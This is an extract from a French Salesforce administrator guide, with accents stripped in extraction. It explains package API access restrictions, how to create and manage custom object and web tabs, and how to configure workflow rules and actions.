Pour modifier les privilges d'accs API et Apex dynamique d'un package aprs avoir install ce dernier :
1. Cliquez sur Configuration Afficher les packages installs.
2. Cliquez sur le nom du package modifier.
3. Le champ Accs API Access affiche la configuration actuelle, Limit ou Illimit et un lien soit vers Activer les
restrictions soit Dsactiver les restrictions. Si les accs Lire, Crer, Modifier et Supprimer ne sont pas slectionns

Crer

Guide de l'utilisateur | Prsentation de l'onglet personnalis | 717

dans le paramtre d'accs de l'API des objets, les utilisateurs n'ont pas accs ces objets partir des composants du
package, mme s'ils disposent des autorisations Modifier toutes les donnes et Afficher toutes les donnes .
Utilisez le champ Accs API pour :
Activer les restrictions
Cette option est disponible uniquement si le paramtre actuel est Illimit. Slectionnez cette option si vous voulez
spcifier l'accs Apex et API des composants du package aux objets standard dans l'entreprise de l'installateur. Lorsque
vous slectionnez cette option, la liste Autorisations d'objet tendu s'affiche. Cochez les cases Lire, Crer, Modifier
ou Supprimer pour autoriser l'accs chaque objet de la liste. Cette slection est dsactive dans certains cas. Cliquez
sur Enregistrer lorsque vous avez termin. Pour plus d'informations sur l'option Limit, notamment les informations
concernant les cas o elle est dsactive, reportez-vous Observations sur l'accs API et Apex dynamique dans les
packages la page 1017.
Dsactiver les restrictions
Cette option est disponible uniquement si le paramtre actuel est Limit. Slectionnez cette option si vous ne voulez
pas restreindre les privilges d'accs Apex et l'API des composants du package sur les objets standard et
personnaliss. Cette option donne tous les composants du package le mme accs API que l'utilisateur connect.
Par exemple, si un utilisateur peut accder des comptes, une classe Apex du package qui accde des compte peut
y parvenir si elle est dclenche par cet utilisateur.
Limit
Cliquez ce lien si vous avez dj limit l'accs API et souhaitez modifier les limitations.

Prsentation de l'onglet personnalis

Onglets d'objets personnaliss et onglets Web disponibles dans : Contact Manager Edition, Group Edition, Professional
Edition, Enterprise Edition, Unlimited Edition et Developer Edition
Onglets de pages Apex disponibles dans : Contact Manager Edition, Group Edition, Professional Edition, Enterprise
Edition, Unlimited Edition et Developer Edition

Un onglet personnalis est un composant d'interface utilisateur que vous crez pour afficher des donnes d'objet personnalis
ou autre contenu Web intgr dans l'application.
Les types d'onglet personnalis suivants sont disponibles :

Les onglets d'objet personnalis affichent les donnes de votre objet personnalis dans un onglet d'interface utilisateur.
Les onglets d'objet personnalis ont les mmes fonctionnement et aspect que des onglets standard. Reportez-vous Cration
d'onglets d'objet personnalis la page 718.
Les onglets Web personnaliss affichent toute application Web externe ou page Web dans un onglet Salesforce.com.
Vous pouvez concevoir des onglets Web insrer dans le menu latral ou tendre sur toute la page sans le menu latral.
Reportez-vous Cration d'onglets Web la page 720.

Voir aussi :
Dfinition des sous-applications personnalises
Prsentation d'une sous-application
Dfinition de l'aide au niveau des objets

Crer

Guide de l'utilisateur | Dfinition d'onglets personnaliss | 718

Dfinition d'onglets personnaliss

Onglets d'objets personnaliss et onglets Web disponibles dans : Contact Manager Edition, Group Edition, Professional
Edition, Enterprise Edition, Unlimited Edition et Developer Edition
Onglets de pages Apex disponibles dans : Contact Manager Edition, Group Edition, Professional Edition, Enterprise
Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer et modifier des onglets personnaliss :

Personnaliser l'application

Les onglets personnaliss affichent des donnes d'objets personnaliss ou autre contenu Web intgr dans l'application.
Reportez-vous ditions Salesforce.com et limitations la page 932 pour le nombre total d'onglets personnalises que vous
pouvez crer.

Onglets d'objet personnalis : crez un onglet pour vos donnes d'objet personnalis. Reportez-vous Cration d'onglets
d'objet personnalis la page 718.
Onglets Web : crez un onglet pour afficher un autre contenu Web. Reportez-vous Cration d'onglets Web la page
720.
Onglets de page Apex : crez un onglet qui affiche une page Visualforce.

Les administrateurs dlgus qui peuvent grer des objets personnaliss spcifis peuvent galement crer et personnaliser des
onglets pour ces objets personnaliss. Reportez-vous Dlgation des tches administratives la page 209.

Voir aussi :
Prsentation de l'onglet personnalis

Cration d'onglets d'objet personnalis

Onglets d'objets personnaliss et onglets Web disponibles dans : Contact Manager Edition, Group Edition, Professional
Edition, Enterprise Edition, Unlimited Edition et Developer Edition
Onglets de pages Apex disponibles dans : Contact Manager Edition, Group Edition, Professional Edition, Enterprise
Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer et modifier des onglets personnaliss :

Personnaliser l'application

Dfinissez un nouvel onglet pour afficher les donnes stockes dans vos enregistrements d'objet personnalis.
1. Cliquez sur Configuration Crer Onglets.

Crer

Guide de l'utilisateur | Dfinition d'onglets personnaliss | 719

2. Cliquez sur Nouveau dans la liste associe Onglets de l'objet personnalis.

3. Slectionnez l'objet personnalis afficher dans l'onglet personnalis. Si l'objet personnalis n'existe pas encore, cliquez
sur crer un objet personnalis maintenant et suivez la procdure dcrite dans Dfinition d'objets personnaliss la page
691.
L'tiquette du nouvel onglet est la mme que celle de l'objet personnalis au pluriel, comme indiqu dans Dfinition d'objets
personnaliss la page 691.
4. Cliquez sur l'icne de recherche Style de l'onglet pour afficher la slection du type d'onglet.
Si un style d'onglet est dj en cours d'utilisation, un nombre entre crochets ([]) apparat en regard du nom du style d'onglet.
Survolez le nom du style pour afficher les onglets qui l'utilisent. Cliquez sur Masquer les styles utiliss sur
d'autres onglets pour filtrer la liste.
5. Cliquez sur un style d'onglet pour slectionner le jeu de couleurs et l'icne de l'onglet personnalis.
Vous pouvez galement cliquer sur Crer votre propre style dans la bote de dialogue Slection du style d'onglet pour crer
un style d'onglet personnalis, condition que votre entreprise ait accs l'onglet Documents. Pour crer votre propre style
d'onglet :
a. Cliquez sur l'icne de recherche Color pour afficher la bote de dialogue de slection des couleurs, puis cliquez sur une
couleur pour la slectionner.
b. Cliquez sur Insert an Image, puis slectionnez le dossier de documents contenant l'image utiliser et l'image voulue.
Vous pouvez galement cliquer sur Rechercher dans des documents, entrer un terme de recherche et cliquer sur OK
pour rechercher les fichiers dont le nom contient le terme de recherche.
Remarque: Cette bote de dialogue rpertorie uniquement les fichiers figurant dans des dossiers de documents
de moins de 20 Ko et dont la case Accessible en externe est coche dans les paramtres de proprits de document.
Pour plus d'informations, reportez-vous aux sections relatives au tlchargement d'images et aux paramtres
de proprits de document. Si le document utilis pour l'icne est par la suite supprim, Salesforce.com la
remplace par une icne par dfaut en forme de cube multicolore (

).

c. Slectionnez un fichier et cliquez sur OK. L'assistant Nouvel onglet personnalis rapparat.
6. Si vous le souhaitez, dfinissez un lien personnalis comme page de bienvenue lorsque les utilisateurs cliquent la premire
fois sur l'onglet. Pour obtenir des informations sur la cration d'un lien personnalis utiliser comme page de bienvenue
pour l'onglet personnalis, reportez-vous Configuration des boutons et liens personnaliss la page 579.
7. Si vous le souhaitez, entrez une description de l'onglet et cliquez sur Suivant.
8. Choisissez pour quels profils utilisateur le nouvel onglet sera disponible :

Slectionnez Appliquer une visibilit d'onglet tous les profils, et choisissez Valeur par dfaut active, Valeur par
dfaut dsactive ou Onglet cach dans la liste droulante.
Vous pouvez galement slectionner Appliquer une visibilit d'onglet diffrente chaque profil, et choisir Valeur par
dfaut active, Valeur par dfaut dsactive ou Onglet cach dans la liste droulante de chaque profil.

Pour les utilisateurs Professional Edition et les utilisateurs de la licence Salesforce Platform One, la visibilit de l'onglet
est automatiquement dfinie sur Valeur par dfaut active.
9. Dfinissez le paramtre Visibilit de l'onglet.
Dans Enterprise Edition, Unlimited Edition et Developer Edition, slectionnez Valeur par dfaut active, Valeur par
dfaut dsactive ou Onglet cach dans la zone Visibilit de l'onglet pour dterminer si l'onglet personnalis doit
tre visible aux utilisateurs ayant ce profil, puis cliquez sur Suivant. Dans Professional Edition, la visibilit de l'onglet est

Crer

Guide de l'utilisateur | Dfinition d'onglets personnaliss | 720

automatiquement paramtre sur Valeur par dfaut active. Pour les utilisateurs de la licence Salesforce Platform One, la
visibilit de l'onglet est automatiquement dfinie sur Valeur par dfaut active.
Si vous slectionnez Valeur par dfaut active ou Valeur par dfaut dsactive, une option est ajoute la liste droulante
Crer du menu latral, afin que les utilisateurs dots de l'autorisation Crer puissent crer rapidement un enregistrement.
Par exemple, si l'objet personnalis affich dans l'onglet personnalis s'intitule Dpenses, une option Dpenses apparat
dans cette liste.
10. Spcifiez les sous-applications personnalises qui doivent inclure le nouvel onglet. Reportez-vous Qu'est-ce qu'une
sous-application ? la page 681 pour obtenir des informations sur les sous-applications personnalises.
11. Cochez la case Ajouter l'onglet aux personnalisations existantes de l'utilisateur pour ajouter
le nouvel onglet aux paramtres d'affichage personnalis de vos utilisateurs s'ils ont personnalis leur affichage.
12. Cliquez sur Enregistrer.
Pour personnaliser davantage l'onglet :

Dfinissez la prsentation de page des enregistrements affichs dans l'onglet. La prsentation de page dfinit les champs
qui sont visibles et modifiables lorsque les utilisateurs saisissent des donnes dans l'onglet personnalis. Pour obtenir des
dtails, reportez-vous laboration de prsentations de page pour les objets personnaliss la page 707.
Spcifiez les champs afficher pour les utilisateurs dans la section des listes cls de la page d'accueil des onglets d'objet
personnalis. Pour obtenir des dtails, reportez-vous Personnalisation des prsentations de recherche pour les objets
personnaliss la page 708.

Voir aussi :
Cration d'onglets d'objet personnalis

Cration d'onglets Web

Onglets d'objets personnaliss et onglets Web disponibles dans : Contact Manager Edition, Group Edition, Professional
Edition, Enterprise Edition, Unlimited Edition et Developer Edition
Onglets de pages Apex disponibles dans : Contact Manager Edition, Group Edition, Professional Edition, Enterprise
Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer et modifier des onglets personnaliss :

Personnaliser l'application

Concevez des onglets Web pour que vos utilisateurs puissent se servir de vos applications Web ou d'autres sites Web depuis
l'application.
1. Cliquez sur Configuration Crer Onglets.
2. Cliquez sur Nouveau dans la liste associe Onglets Web.
3. Choisissez la prsentation du nouvel onglet. La largeur de page entire s'tend sur toute la page (sans menu latral) et le
style de colonne permet aux utilisateurs de visualiser le menu latral.
4. Cliquez sur Suivant.

Crer

Guide de l'utilisateur | Dfinition d'onglets personnaliss | 721

5. Choisissez URL comme type d'onglet. Choisissez Commande Custom S-Control si vous avez au pralable cr une
commande Custom S-Control que vous souhaitez voir apparatre dans l'onglet Web. Reportez-vous Dfinition des
commandes Custom S-Control la page 971.
6. Entrez une tiquette afficher sur l'onglet.
7. Cliquez sur l'icne de recherche Style de l'onglet pour afficher la slection du type d'onglet.
Si un style d'onglet est dj en cours d'utilisation, un nombre entre crochets ([]) apparat en regard du nom du style d'onglet.
Survolez le nom du style pour afficher les onglets qui l'utilisent. Cliquez sur Masquer les styles utiliss sur
d'autres onglets pour filtrer la liste.
8. Cliquez sur un style d'onglet pour slectionner le jeu de couleurs et l'icne de l'onglet personnalis.
Vous pouvez galement cliquer sur Crer votre propre style dans la bote de dialogue Slection du style d'onglet pour crer
un style d'onglet personnalis, condition que votre entreprise ait accs l'onglet Documents. Pour crer votre propre style
d'onglet :
a. Cliquez sur l'icne de recherche Color pour afficher la bote de dialogue de slection des couleurs, puis cliquez sur une
couleur pour la slectionner.
b. Cliquez sur Insert an Image, puis slectionnez le dossier de documents contenant l'image utiliser et l'image voulue.
Vous pouvez galement cliquer sur Rechercher dans des documents, entrer un terme de recherche et cliquer sur OK
pour rechercher les fichiers dont le nom contient le terme de recherche.
Remarque: Cette bote de dialogue rpertorie uniquement les fichiers figurant dans des dossiers de documents
de moins de 20 Ko et dont la case Accessible en externe est coche dans les paramtres de proprits de document.
Pour plus d'informations, reportez-vous aux sections relatives au tlchargement d'images et aux paramtres
de proprits de document. Si le document utilis pour l'icne est par la suite supprim, Salesforce.com la
remplace par une icne par dfaut en forme de cube multicolore (

).

c. Slectionnez un fichier et cliquez sur OK. L'assistant Nouvel onglet personnalis rapparat.
9. Modifiez la hauteur du cadre du contenu, si ncessaire.
10. Vous pouvez ventuellement cocher la case Mobile Ready pour indiquer que la page Web s'affiche et fonctionne correctement
dans un navigateur Web mobile.
Le fait de cocher la case ajoute l'onglet la liste des onglets disponibles de vos configurations mobiles. Reportez-vous
Gestion des onglets mobiles la page 2007 pour obtenir des informations sur la faon de rendre des onglets mobiles. Consultez
les remarques pour vrifier que les pages de vos onglets Web sont compatibles avec les navigateurs mobiles avant de rendre
un onglet web mobile.
Notez que la case cocher Mobile Ready n'est visible que si Salesforce Mobile est activ pour votre organisation.
11. Si vous le souhaitez, dfinissez un lien personnalis comme page de bienvenue lorsque les utilisateurs cliquent la premire
fois sur l'onglet. Pour obtenir des informations sur la cration d'un lien personnalis utiliser comme page de bienvenue
pour votre onglet personnalis, reportez-vous Configuration des boutons et liens personnaliss la page 579. Notez que
les pages de bienvenue ne s'affichent pas dans l'application mobile. vitez d'utiliser une page de bienvenue si vous prparez
l'onglet Web mobile.
12. Si vous le souhaitez, entrez une description de l'onglet et cliquez sur Suivant.
13. Entrez l'URL ou choisissez la commande Custom S-Control afficher sur l'onglet. ventuellement, copiez et collez des
champs de fusion destins aux donnes remplacer de manire dynamique dans le lien.
N'oubliez pas de faire prcder l'URL de la mention http:// . Les champs de fusion d'utilisateur, d'entreprise et d'API
sont disponibles pour les onglets Web. Pour plus d'informations sur l'utilisation des champs de fusion, reportez-vous
Prsentation des champs de fusion la page 67.

Crer

Guide de l'utilisateur | Gestion des onglets personnaliss | 722

Si vous le souhaitez, cliquez sur le lien aperu pour afficher l'onglet Web.
14. Dans le cas d'une URL, choisissez un paramtre de codage et cliquez sur Suivant.
15. Ajoutez l'onglet Web aux profils concerns. Dans le champ Visibilit de l'onglet, choisissez Valeur par dfaut
active, Valeur par dfaut dsactive ou Onglet cach pour dterminer si l'onglet personnalis doit tre visible aux utilisateurs
ayant ce profil. L'administrateur pourra modifier ce paramtre ultrieurement.
16. Cochez la case Ajouter l'onglet aux personnalisations existantes de l'utilisateur pour appliquer
les paramtres de visibilit d'onglet tous les utilisateurs.
17. Spcifiez les sous-applications personnalises qui doivent inclure le nouvel onglet. Reportez-vous Qu'est-ce qu'une
sous-application ? la page 681 pour obtenir des informations sur les sous-applications personnalises.
18. Cliquez sur Enregistrer.

Gestion des onglets personnaliss

Onglets d'objets personnaliss et onglets Web disponibles dans : Contact Manager Edition, Group Edition, Professional
Edition, Enterprise Edition, Unlimited Edition et Developer Edition
Onglets de pages Apex disponibles dans : Contact Manager Edition, Group Edition, Professional Edition, Enterprise
Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer, modifier et supprimer des onglets personnaliss : Personnaliser l'application

Aprs avoir cr vos onglets personnaliss, vous pouvez les modifier ou les supprimer. Cliquez sur Configuration Crer
Onglets pour afficher une liste des onglets personnaliss, des onglets Web, et des onglets Visualforce de votre entreprise.
Utilisez cette page pour afficher, crer, modifier ou supprimer des onglets personnaliss.

Pour afficher les dtails d'un onglet personnalis, cliquez sur le nom de l'onglet.
Pour changer les proprits d'un onglet personnalis, cliquez sur Modifier, apportez les changements voulus, puis cliquez
sur Enregistrer. Avant de modifier le champ Lien personnalis vers la page de bienvenue, reportez-vous
Dfinition des composants de l'onglet Accueil la page 570 pour en savoir plus sur la cration d'un lien personnalis
servant de page de bienvenue pour l'onglet personnalis.
Pour supprimer un onglet personnalis, cliquez sur Suppr.
Pour crer un onglet personnalis, cliquez sur Nouveau. Reportez-vous Cration d'onglets d'objet personnalis la page
718, Cration d'onglets Web la page 720 ou Cration d'onglets Visualforce la page 960.
Pour partager des onglets personnaliss avec d'autres utilisateur dans Force.com AppExchange, reportez-vous Prsentation
des packages la page 836.
Pour activer des onglets Visualforce ou Web pour des utilisateurs mobiles, modifiez les proprits des onglets et cochez la
case Mobile prt. Reportez-vous Cration d'onglets Visualforce la page 960 et Cration d'onglets mobiles la page 720.
Pour plus d'informations sur la personnalisation des onglets dans l'application mobile, reportez-vous Gestion des onglets
mobiles la page 2007.
Pour crer des sous-applications susceptibles d'tre mises niveau, reportez-vous Activation des packages grs pour
votre entreprise la page 873.

Crer

Guide de l'utilisateur | Gestion du workflow et des approbations | 723

Gestion du workflow et des approbations

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher les rgles de workflow et les processus
d'approbation :

Afficher la configuration

Pour crer ou modifier les rgles de workflow et les processus Personnaliser l'application
d'approbation :

Votre force de vente travaille plus efficacement si elle bnficie de procdures internes normalises et de processus commerciaux
automatiss. Configurez Salesforce.com de manire automatiser ces procdures et ces processus en fonction des besoins de
votre entreprise.
Commencez par dfinir des rgles de workflow et des processus d'approbation, et les associer des actions de workflow, telles
que des alertes par e-mail, des tches, des mises jour de champ ou des messages sortants.
Terminologie
Rgle de workflow
Une rgle de workflow dfinit les actions de workflow excutes lorsque ses conditions sont remplies. Vous pouvez
configurer des actions de workflow afin qu'elles s'excutent immdiatement ds qu'un enregistrement remplit les conditions
dfinies dans votre rgle de workflow. Vous pouvez galement dfinir des dclencheurs temporels afin d'excuter les
actions de workflow une date donne. Si une action de workflow na pas encore t excute, vous pouvez l'afficher et
la modifier dans la file dattente de workflow. Pour commencer utiliser les rgles de workflow, reportez-vous Gestion
des rgles de workflow. Pour obtenir la liste du nombre maximal de rgles autorises dans chaque organisation,
reportez-vous ditions Salesforce.com et limitations.
Processus d'approbation
Processus automatis que votre organisation peut utiliser pour approuver des enregistrements dans Salesforce.com. Ils
dterminent les tapes ncessaires pour qu'un enregistrement soit approuv et la personne qui doit l'approuver chaque
tape. Une tape peut tre applique tous les enregistrements inclus dans le processus ou uniquement ceux prsentant
certains attributs. Un processus d'approbation dtermine galement les actions entreprendre lorsqu'un enregistrement
est approuv, refus, rappel ou soumis pour approbation pour la premire fois. Pour commencer utiliser des processus
d'approbation, reportez-vous Gestion des processus d'approbation.
Actions de workflow et d'approbation
Les actions de workflow et d'approbation correspondent des alertes par e-mail, des tches, des mises jour de champs
et des messages sortants qui peuvent tre dclenchs par une rgle de workflow ou un processus d'approbation.
Alerte par e-mail
Action de workflow et d'approbation gnre l'aide d'un modle d'e-mail par une rgle de workflow ou un processus
d'approbation, puis envoye des destinataires dsigns, des utilisateurs Salesforce.com ou autres. Pour commencer
utiliser les alertes par e-mail, reportez-vous Gestion des alertes par e-mail.

Crer

Guide de l'utilisateur | Gestion des rgles de workflow | 724

Mise jour du champ

Action de workflow et d'approbation qui indiquent le champ que vous souhaitez mettre jour et sa nouvelle valeur. Selon
le type de champ, vous pouvez choisir d'appliquer une valeur spcifique, de laisser la valeur vide ou de calculer une valeur
base sur une formule que vous crez. Pour commencer utiliser les mises jour de champ, reportez-vous Gestion des
mises jour de champ.
Tche
Attribue une tche l'utilisateur que vous spcifiez. Vous pouvez spcifier l'objet, le statut, la priorit et l'chance
de la tche. Les tches sont des actions de workflow et d'approbation qui sont dclenches par des rgles de workflow
ou des processus d'approbation. Pour commencer utiliser les tches, reportez-vous Gestion des tches de workflow
et des approbations.
Message sortant
Actions de workflow et d'approbation qui envoient les informations que vous spcifiez vers le point de destination choisi,
par exemple un service externe. Un message sortant envoie les donnes dans les champs spcifis sous la forme d'un
message SOAP au point de destination. Pour commencer utiliser les messages sortants, reportez-vous Gestion des
messages sortants.

Voir aussi :
Cration d'alertes par e-mail pour le workflow et les approbations
Cration de tches de workflow et d'approbations
Dfinition des mises jour de champ
Dfinition des messages sortants
Cration de rgles de workflow
Exemples de rgles de workflow
Personnalisation des paramtres de workflow et d'approbation
Diffrences entre les rgles de rponse automatique et les alertes de workflow
Cration de processus d'approbation

Gestion des rgles de workflow

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher les rgles de workflow :

Afficher la configuration

Pour crer ou modifier des rgles de workflow :

Personnaliser l'application

Automatisez les processus standard de votre entreprise en configurant des rgles de workflow.
Le workflow automatise les types d'action suivants :

Alertes par e-mail : envoyer un e-mail un ou plusieurs destinataires. Par exemple, envoyez automatiquement une alerte
par e-mail au responsable des ventes lorsque le reprsentant commercial ralise une affaire importante.

Crer

Guide de l'utilisateur | Gestion des rgles de workflow | 725

Tches : attribuer une nouvelle tche un utilisateur, un rle ou un responsable d'enregistrement. Par exemple, attribuez
automatiquement des tches de suivi un reprsentant du support une semaine aprs la mise jour d'une requte.
Mises jour de champ : mettre jour la valeur d'un champ dans un enregistrement. Par exemple, modifiez automatiquement
le champ Responsable d'un contrat trois jours avant son expiration.
Messages sortants : envoyer un message API configurable scuris (au format XML) un module d'coute dsign. Vous
pouvez, par exemple, lancer le remboursement d'un rapport de dpenses approuv en dclenchant un message API sortant
vers un systme RH externe.

Configurez le workflow de votre entreprise en crant des rgles de workflow. Chaque rgle de workflow est compose des
lments suivants :

Les critres qui dterminent la priode laquelle Salesforce.com excute la rgle de workflow. Toute modification provoquant
l'association d'un enregistrement ce critre peut dclencher la rgle de workflow, mme s'il s'agit de modifications apportes
aux champs masqus.
Les actions immdiates prendre lors de l'excution de la rgle de workflow. Par exemple, Salesforce.com peut
automatiquement envoyer un e-mail informant l'quipe de vente de la cration d'une opportunit de qualit.
Les actions chronologiques que Salesforce.com place dans la file d'attente lors de l'excution de la rgle de workflow. Par
exemple, Salesforce.com peut automatiquement envoyer un e-mail de rappel l'quipe de comptes si une opportunit de
qualit est toujours ouverte dix jours avant la date de clture indique. Lorsque Salesforce.com dclenche une rgle de
workflow prsentant des actions chronologiques, vous pouvez utiliser la file dattente du workflow pour contrler et annuler
les actions en attente.

Si vous avez l'intention de configurer des rgles de workflow prsentant des actions chronologiques, dfinissez un utilisateur
de workflow par dfaut. Salesforce.com associe l'utilisateur de workflow par dfaut une rgle de workflow si l'utilisateur
l'origine de la rgle n'est plus actif.
Pour commencer utiliser des rgles de workflow, cliquez sur Configuration Crer Workflow & approbations
Rgles du workflow. partir de cette page, vous pouvez :

Cliquez sur Nouvelle rgle pour crer une rgle de workflow.

Slectionnez une rgle existante pour afficher ses dtails, clonez-la, activez-la et dsactivez-la ou affichez, et modifiez les
actions et les dclencheurs temporels.
Cliquez sur Modifier pour changer une rgle de workflow.
Cliquez sur Suppr pour supprimer une rgle de workflow.
Remarque: Vous ne pouvez pas supprimer une rgle de workflow dont certaines actions en attente sont dans la
file d'attente de workflow. Attendez la fin du traitement des actions en attente ou utilisez la file d'attente du
workflow afin d'annuler les actions en attente.

Cliquez sur Activer pour activer une rgle. Cliquez sur Dsactiver pour empcher le dclenchement de la rgle lorsque
ses conditions sont remplies. Notez les lments suivants :
-

Vous pouvez dsactiver une rgle de workflow tout moment. Toutefois, si vous dsactivez une rgle concernant des
actions en attente, Salesforce.com poursuit la procdure tant que l'enregistrement l'origine de cette rgle n'est pas mis
jour.
Vous ne pouvez pas ajouter d'actions de workflow chronologiques des rgles de workflow actives. Dsactivez d'abord
la rgle de workflow, ajoutez l'action de workflow chronologique et ractivez la rgle.
Conseil: Vous pouvez utiliser la console Journal systme pour dboguer des rgles de workflow. La console Journal
systme permet d'afficher les dtails du journal de dbogage et les informations sur les rgles et actions de workflow,

Crer

Guide de l'utilisateur | Gestion des rgles de workflow | 726

telles que le nom de l'utilisateur qui a dclench cette rgle de workflow ou le nom et l'ID de l'enregistrement en cours
d'valuation.

Voir aussi :
Cration de rgles de workflow
Notes concernant l'utilisation des rgles de workflow
Exemples de rgles de workflow
Gestion du workflow et des approbations
Gestion des alertes par e-mail
Gestion des tches de workflow et des approbations
Gestion des mises jour de champ
Dfinition des messages sortants
Diffrences entre les rgles de rponse automatique et les alertes de workflow

Cration de rgles de workflow

Disponible dans : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer ou modifier des rgles, des alertes par e-mail, des
tches, des mises jour de champs et des messages sortants
de workflow :

Personnaliser l'application

Automatisez les processus standard de votre organisation en configurant des rgles de workflow.
Le workflow automatise les types d'action suivants :

Alertes par e-mail : envoyer un e-mail un ou plusieurs destinataires. Par exemple, envoyez automatiquement une alerte
par e-mail au responsable des ventes lorsque le reprsentant commercial ralise une affaire importante.
Tches : attribuer une nouvelle tche un utilisateur, un rle ou un responsable d'enregistrement. Par exemple, attribuez
automatiquement des tches de suivi un reprsentant du support une semaine aprs la mise jour d'une requte.
Mises jour de champ : mettre jour la valeur d'un champ dans un enregistrement. Par exemple, modifiez automatiquement
le champ Responsable d'un contrat trois jours avant son expiration.
Messages sortants : envoyer un message API configurable scuris (au format XML) un module d'coute dsign. Vous
pouvez, par exemple, lancer le remboursement d'un rapport de dpenses approuv en dclenchant un message API sortant
vers un systme RH externe.

Pour crer une rgle :

1.
2.
3.
4.

Slectionnez l'objet auquel s'applique cette rgle de workflow.

Configurez les paramtres et les critres des rgles de workflow.
Configurez les actions de workflow.
Activez la rgle de workflow.

Crer

Guide de l'utilisateur | Gestion des rgles de workflow | 727

Slection de l'objet pour votre rgle de workflow

1. Cliquez sur Configuration Crer Workflow & approbations Rgles de workflow.
2. Dans la page de liste des rgles de workflow, cliquez sur Nouvelle rgle.
3. Slectionnez un objet personnalis ou standard auquel vous souhaitez appliquer cette rgle de workflow.
Remarque: Si vous avez une action de workflow qui met jour un champ dans un objet associ, cet objet cible ne
correspond pas l'objet associ la rgle de workflow.
Pour crer des rgles de workflow bases sur de nouveaux commentaires de requte ou des e-mails entrants qui
mettent automatiquement jour les champs dans leurs requtes associes, choisissez Commentaire de requte ou
Message e-mail. Pour plus d'informations, reportez-vous Notes concernant l'utilisation des rgles de workflow.
Vous ne pouvez pas crer d'alertes par e-mail pour les rgles de workflow d'activit.
4. Cliquez sur Suivant.

Configuration des paramtres et des critres de rgle

1. Saisissez le nom de la rgle.
2. Entrez ventuellement la description de la rgle.
3. Choisissez les critres d'valuation :

Lors de la cration ou de la modification d'un enregistrement qui ne rpondait pas aux

critres de rgle : Slectionnez cette option pour inclure les nouveaux enregistrements et les nouvelles mises

jour dans les enregistrements existants, sauf si la rgle vient d'tre excute et rpond toujours aux critres de la rgle.
La rgle ne se dclenche pas de nouveau pour les modifications qui n'affectent pas ses critres. Si, par exemple, une
opportunit dfinie comme trs importante dclenche la rgle, avec cette option, la rgle est rexcute uniquement
si le niveau d'importance de l'opportunit change puis revient au niveau trs importante , quel que soit le nombre de
fois que vous modifiez l'objet.
Uniquement lors de la cration d'un enregistrement : Slectionnez cette option pour ignorer les mises
jour des enregistrements existants.
chaque cration ou modification d'un enregistrement : Slectionnez cette option pour inclure les
nouveaux enregistrements et les nouvelles mises jour dans les enregistrements existants et dclencher systmatiquement
la rgle, mme si un enregistrement rpond toujours aux critres. Vous ne pouvez pas ajouter d'actions chronologiques
la rgle si vous slectionnez chaque cration ou modification d'un enregistrement.
Remarque: Vous ne pouvez pas ajouter d'actions chronologiques une rgle si vous slectionnez chaque
cration ou modification d'un enregistrement.

4. Saisissez vos critres de rgle :

Choisissez critres suivants sont remplis et slectionnez les critres de filtrage que doit remplir un
enregistrement pour dclencher la rgle. Par exemple, configurez le filtre sur Opportunit : Montant suprieur 5 000
si vous souhaitez que les enregistrements d'opportunit dont le montant est suprieur 5 000 dollars dclenchent la
rgle. Si votre entreprise utilise plusieurs langues, entrez les valeurs de filtre dans la langue par dfaut. Vous pouvez
cliquer sur le lien Options avances pour ajouter jusqu' 25 critres de filtre pouvant contenir 255 caractres maximum.

Crer

Guide de l'utilisateur | Gestion des rgles de workflow | 728

Choisissez l'valuation de la formule est positive et saisissez une formule renvoyant les valeurs True
(vrai) ou False (faux). Salesforce.com dclenche la rgle si la formule renvoie Vrai . Voici quelques exemples de
formules de workflow utiles :
-

Si le nombre de postes pourvus est gal au nombre total de candidatures pour un poste, mettez jour le champ
Statut des postes sur Pourvu.
Si les dpenses de kilomtrage relatives la visite du site client sont de 35 cents par kilomtre et dpassent la limite
de 1 000 dollars, mettez jour automatiquement le champ Approbation requise sur Obligatoire .
Si le montant d'une opportunit base sur une inscription mensuelle est suprieur 10 000 dollars, crez une tche
pour que son responsable effectue un suivi 60 jours aprs la clture de l'opportunit.

Certaines fonctions la page 475 ne sont pas disponibles dans les formules de rgle de workflow. Vous ne pouvez pas
crer de formule dans laquelle un objet personnalis fait rfrence aux champs d'un objet principal.
Conseil: Vous pouvez utiliser des champs de fusion pour les objets directement associs dans les formules de
rgle de workflow. Pour plus d'informations, reportez-vous Prsentation des champs de fusion.

5. Cliquez sur Enregistrer et Suivant.

Configuration des actions de workflow

Ajoutez des actions immdiates et chronologiques la rgle de workflow. Les actions immdiates se dclenchent lorsque les
critres d'valuation sont remplis. Les actions chronologiques spcifient quand Salesforce.com excute l'action de workflow.
Par exemple, Salesforce.com peut automatiquement envoyer un e-mail de rappel l'quipe de comptes si une opportunit de
qualit est toujours ouverte dix jours avant la date de clture indique.
Conseil: Les actions chronologiques et les dclencheurs temporels sont des fonctions complexes qui prsentent plusieurs
considrations.
Si vous avez l'intention de configurer des rgles de workflow prsentant des actions chronologiques, dfinissez un
utilisateur de workflow par dfaut. Salesforce.com associe l'utilisateur de workflow par dfaut une rgle de workflow
si l'utilisateur l'origine de la rgle n'est plus actif.
1. Ajoutez une action de workflow :

Pour ajouter immdiatement une action de workflow, cliquez sur Ajouter une action de workflow dans la section
Actions de workflow immdiates, puis slectionnez :
-

Nouvelle tche pour crer une tche associer la rgle

Nouvel e-mail pour crer une alerte par e-mail associer la rgle
Nouvelle mise jour du champ pour dfinir une mise jour du champ associer la rgle
Nouveau message sortant pour dfinir un message sortant associer la rgle
Slectionner une action existante pour slectionner une action existante associer la rgle

Pour ajouter une action de workflow chronologique, cliquez sur Ajouter un dclencheur temporel dans la section
Actions de workflow chronologiques, puis :
a. Spcifiez le nombre de jours ou d'heures suivant ou prcdant une date donne relative l'enregistrement (par
exemple, la date de cration ou de modification de l'enregistrement). Si la rgle de workflow est en vigueur cette
date, le dclencheur lance l'action de workflow.
b. Cliquez sur Enregistrer.

Crer

Guide de l'utilisateur | Gestion des rgles de workflow | 729

Remarque: Le bouton Ajouter un dclencheur temporel n'est pas disponible si :

-

